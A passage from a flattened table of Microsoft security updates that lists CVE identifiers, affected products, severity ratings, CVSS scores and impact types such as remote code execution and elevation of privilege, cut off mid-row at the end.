 CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote 